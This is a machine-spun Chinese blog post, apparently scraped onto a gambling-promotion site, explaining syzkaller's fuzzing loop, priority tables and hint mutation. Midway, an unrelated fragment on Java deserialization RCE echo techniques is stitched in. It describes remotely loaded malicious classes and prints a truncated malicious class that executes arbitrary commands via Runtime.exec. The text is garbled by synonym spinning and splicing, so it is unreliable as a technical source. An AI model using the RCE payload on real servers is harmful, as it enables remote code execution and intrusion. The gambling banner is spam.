内核破绽发掘手艺系列(4)——syzkaller(4) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

内核破绽发掘手艺系列(4)——syzkaller(4)

申博_人物事迹 申博 127次浏览 未收录 0个评论

这是内核破绽发掘手艺系列的第八篇。
第一篇:内核破绽发掘手艺系列(1)——trinity
第二篇:内核破绽发掘手艺系列(2)——bochspwn
第三篇:内核破绽发掘手艺系列(3)——bochspwn-reloaded(1)
第四篇:内核破绽发掘手艺系列(3)——bochspwn-reloaded(2)
第五篇:内核破绽发掘手艺系列(4)——syzkaller(1)
第六篇:内核破绽发掘手艺系列(4)——syzkaller(2)
第七篇:内核破绽发掘手艺系列(4)——syzkaller(3)

在上一篇文章中我们主要引见了syzkaller是怎样处置惩罚crash的,这篇文章我们主要引见vmLoop函数中是怎样举行fuzz的。在runInstance函数中把syz-fuzzer和syz-executor复制到VM中,挪用FuzzerCmd函数经由过程ssh实行syz-fuzzer。
实行的敕令也许像下面如许:

/syz-fuzzer -executor=/syz-executor -name=vm-0 -arch=amd64 -manager=10.0.2.10:33185 -procs=1 -leak=false -cover=true -sandbox=none -debug=true -v=100

同时MonitorExecution函数举行监控,检测输出中的内核oops信息、丧失衔接、挂起等等。

在fuzzer.go的main函数中起首举行了一些设置,对照主要的是经由过程RPC挪用的Check函数。Check函数终究挪用loadCorpus函数将db中的语料加载到mgr.candidates中。在fuzzer.go的main函数末了挪用pollLoop函数,pollLoop函数中又挪用了poll函数,在poll函数中继承经由过程RPC挪用Poll函数,Poll函数主若是挪用了candidateBatch函数取得mgr.candidates,将它们加入到fuzzer的workQueue中。
返回fuzzer.go的main函数中,然后挪用了CalculatePriorities函数和BuildChoiceTable函数。

关于给定的一对体系挪用X和Y,prios[X][Y]是指我们对在包罗体系挪用X的顺序中增加体系挪用Y是不是可以或许取得新的掩盖的预测。以后算法有两个组件:静态和动态。静态组件基于对参数范例的剖析。比方,若是体系挪用X和体系挪用Y都接收fd [sock],那末它们在一同更可以或许取得新的掩盖。动态组件基于语料库中单个顺序中特定体系挪用涌现的频次。比方,若是socket和connect常常一同涌如今顺序中,那末会给这对体系挪用供应更高的优先级。在CalculatePriorities函数中离别挪用了calcStaticPriorities函数和calcDynamicPrio函数盘算静态局部和动态局部,末了返回的二维数组dynamic[i][j]中体系挪用i和体系挪用j的优先级是两者的乘积。

在calcStaticPriorities函数中挪用calcResourceUsage函数创建了一个hash表,key是string范例,透露表现某一种资本;value也是一个hash表,key是体系挪用的id,value是权重。资本是经由过程遍历函数参数取得的,好比可以是Vma,Ptr,Buffer等等。每种范例的权重是分歧的,好比Vma是0.5,Ptr是1.0等等。在noteUsage函数中同一种资本同一个体系挪用做纪录的时刻只会纪录最大的值。calcStaticPriorities函数在遍历的过程当中关于同一种资本把体系挪用A占该资本的权重乘上体系挪用B占该资本的权重加到体系挪用A和B的优先级里。

而当A即是B时prios被设置为A与其它一切体系挪用prios的最大值,末了挪用normalizePrio函数规范化。

动态局部的盘算如前所述,异常简朴,若是语料库一对体系挪用一同涌如今顺序中那末会给这对体系挪用的prios加1。末了一样也是要挪用normalizePrio函数规范化。

CalculatePriorities函数以后会挪用BuildChoiceTable函数,它基于CalculatePriorities函数盘算的prios和启用的体系挪用盘算出一个相似的表run,不外关于体系挪用i和体系挪用j来讲run[i][j]的值是之前run[i][x](x小于j)的和加上prios中i和j对应的值乘上1000。以是关于run[x]来讲是由小到大排好序的。Choose函数的功用是关于一个给定的体系挪用依据run表返回一个体系挪用。挑选仍然是随机的,run表仅仅供应了有限的权重。

在上一篇文章中我们说到config文件中的procs参数透露表现每一个VM中的并行测试历程数,以是接下来:
内核破绽发掘手艺系列(4)——syzkaller(4)
如今让我们进入loop函数。

WorkQueue包罗还没有fuzz的对象。WorkQueue对它们举行优先排序,比方我们愿望在烧毁顺序之前对新的输入举行分类并发送给manager,以便不会丧失让VM瓦解的顺序。WorkQueue中的对象有WorkTriageWorkSmashWorkCandidate三类。在loop函数中遍历WorkQueue,关于这三种对象离别挪用triageInput函数,smashInput函数和execute函数。背面离别另有对Generate函数和Mutate函数的挪用,它们离别天生新的体系挪用和对已知的体系挪用举行变异。
WorkTriage是我们在第一次实行时注意到可以或许存在新掩盖率的顺序,但还不肯定。在分类过程当中我们将晓得这些顺序是不是供应了新的掩盖,若是是,则最小化它们并增加到语料库中。
WorkSmash是方才增加到语料库中的顺序。在smashInput函数中若是设置了comparisonTracingEnabled则挪用executeHintSeed函数。
hint基本上是一个由指向顺序的一个体系挪用中的一个参数的指针和一个值构成,该值应当赋给该参数(syzkaller中称之为replacer)。syzkaller中hint的道理以下:fuzzer启动一个顺序(hint seed),并为顺序中的每一个体系挪用网络一切对照的数据。接下来,它实验婚配取得的对照操作数的值和输入参数的值。关于每一个如许的婚配,fuzzer都会用生存的值替代指定的参数来转变顺序。若是取得了一个有效的顺序,fuzzer启动它并搜检是不是取得了新的掩盖率。网络对照的数据是经由过程kcov中供应的KCOV_MODE_TRACE_CMP形式完成的。

在executeHintSeed函数中起首实行原始顺序,在MutateWithHints函数顶用体系挪用参数和生存在compMaps中的对照操作数之间的每一次婚配对初始顺序举行Mutate。CompMap是一个uint到uint64Set的映照,uint64Set又是一个uint64到bool的映照。实行每一个如许的Mutate以后搜检它是不是供应新的掩盖率。

在generateHints函数中主若是挪用了checkConstArg函数和checkDataArg函数,在这两个函数中挪用shrinkExpand函数取得replacer替代掉本来的值。

还是以test中的例子申明。好比说有如许的代码:

// Models the following code:
// void f(u64 qw) {
//      u8 b = (u8) qw
//      u16 w = (u16) qw
//      u32 dw = (u32) qw
//      if (b == 0xab) {...}
//      if (w == 0xcdcd) {...}
//      if (dw == 0xefefefef) {...}
//      if (qw == 0x0101010101010101) {...}
//  }; f(0x1234567890abcdef);

那末CompMap中的内容应当是:

CompMap{
    0xef:               uint64Set{0xab: true},
    0xcdef:             uint64Set{0xcdcd: true},
    0x90abcdef:         uint64Set{0xefefefef: true},
    0x1234567890abcdef: uint64Set{0x0101010101010101: true},
},

取得的效果是:

java反序列化RCE回显研究

总结一下常见反序列化RCE回显几种方式如下: a).使用java.net.URLClassLoader类,远程加载自定义类(放在自己服务器上的jar包),可以自定义方法执行。 b).在自定义类中,抛出异常,取得回显结果。 eg:Jboss报错返回命令执行结果。 利用defineClass加载byte[]返回Class对象,不用远程加载恶意类。 直接利用RCE将执行的命令写入服务器文件中,再次访问得到执行命令结果。 1、URLClassLoader加载远程恶意类,抛出异常回显 恶意类如下: import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.Socket;

public class R
{
public R(String commond) throws Exception {
reverseConn(commond);
}

public void reverseConn(String commond) throws Exception {

//执行命令
Process proc = Runtime.getRuntime().exec(commond);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.ap

uint64Set{
    0x1234567890abcdab: true,
    0x1234567890abcdcd: true,
    0x12345678efefefef: true,
    0x0101010101010101: true,
},

再好比说有如许的代码:

// void f(i32 dw) {
//      i64 qw = (i32) dw;
//      if (qw == -2) {...};
// }; f(-1);

那末CompMap中的内容应当是:

CompMap{0xffffffffffffffff: uint64Set{0xfffffffffffffffe: true}},

取得的效果是:

uint64Set{0xfffffffe: true},

这里涉及到位数的扩大和截断,也是函数名的由来。固然关于下面如许的状况:

// void f(i8 b) {
//      i16 w = (i16) b;
//      if (w == (i16) 0xfeff) {...};
// }; f(-1);

w == (i16) 0xfeff永久不可以或许建立,以是效果为空。如许知足顺序中的对照前提,可以或许取得更多的途径。
末了一种对象是WorkCandidate,它是来自hub的顺序,我们还不晓得它们对fuzzer是不是有效,proc处置惩罚它们的体式格局与当地Generate和Mutate的顺序雷同。在经由proc.execute->proc.executeRaw->proc.env.Exec->env.cmd.exec一系列的挪用后将数据传给executor实行。在proc.env.Exec函数挪用env.cmd.exec函数之前先挪用makeCommand函数。makeCommand函数设置pipe通讯并经由过程osutil.Command运转executor,executor从fuzzer读取输入并运转体系挪用。

我们来看看executor目录下的executor.cc中的main函数。起首做的是从新映照输入/输出,以后依据上一篇文章我们已提过config中的sandbox分歧的设置离别挪用do_sandbox_none/do_sandbox_setuid/do_sandbox_namespace等函数。以位于executor目录下的common_linux.h中的do_sandbox_none函数为例,它主若是挪用了loop函数,接下来经由execute_one->schedule_call->thread_create->thread_start->worker_thread->execute_call->execute_syscall一系列的挪用后体系挪用终究被实行,末了取得代码掩盖率等信息。鄙人一篇文章中我们将引见Generate和Mutate的详细战略。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明内核破绽发掘手艺系列(4)——syzkaller(4)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址